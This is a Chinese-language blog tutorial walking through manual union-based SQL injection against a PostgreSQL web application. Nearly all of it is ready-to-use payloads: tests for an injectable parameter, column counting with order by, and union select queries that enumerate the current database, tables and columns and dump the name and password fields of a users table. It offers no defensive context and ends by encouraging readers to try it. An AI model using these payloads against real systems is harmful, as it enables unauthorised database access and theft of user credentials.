postgreasql数据库注入的过程

发布时间:2021-08-27 09:09:53 作者:chen
来源:亿速云 阅读:120

本篇内容主要讲解“postgreasql数据库注入的过程”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“postgreasql数据库注入的过程”吧!

一、判断是否存在注入

and 1=2 返回错误

and 1=1 返回正常,存在注入

and 1::int=1 返回正常说明是postgresql数据库

二、判断字段数量

order by 5 返回错误

postgreasql数据库注入的过程

order by 4 返回正常说明,有四列

postgreasql数据库注入的过程

三、联合查询

union select '1','2','3','4' 可以看出2/3号位置显示

postgreasql数据库注入的过程

四、获取当前数据库

union select '1',current_database(),'3','4'

postgreasql数据库注入的过程

五、获取第一个表

union select '1',relname,'3','4' from  pg_stat_user_tables limit 1 offset 0

postgreasql数据库注入的过程

获取第二个表

union select '1',relname,relname,'4' from  pg_stat_user_tables limit 1 offset 1

六、获取第一个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 0

postgreasql数据库注入的过程

获取第二个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1

七、获取字段内容

union select '1',''||name||','||password||'','3','4' from  reg_users

postgreasql数据库注入的过程

到此,相信大家对“postgreasql数据库注入的过程”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

推荐阅读:
  1. 一个PHP的SQL注入完整过程
  2. mssql数据库的手工注入

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

postgresql 数据库

上一篇:Oracle JDK 和 OpenJDK 有什么区别

下一篇:oracle rac错误创建数据文件至本地目录怎么处理

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》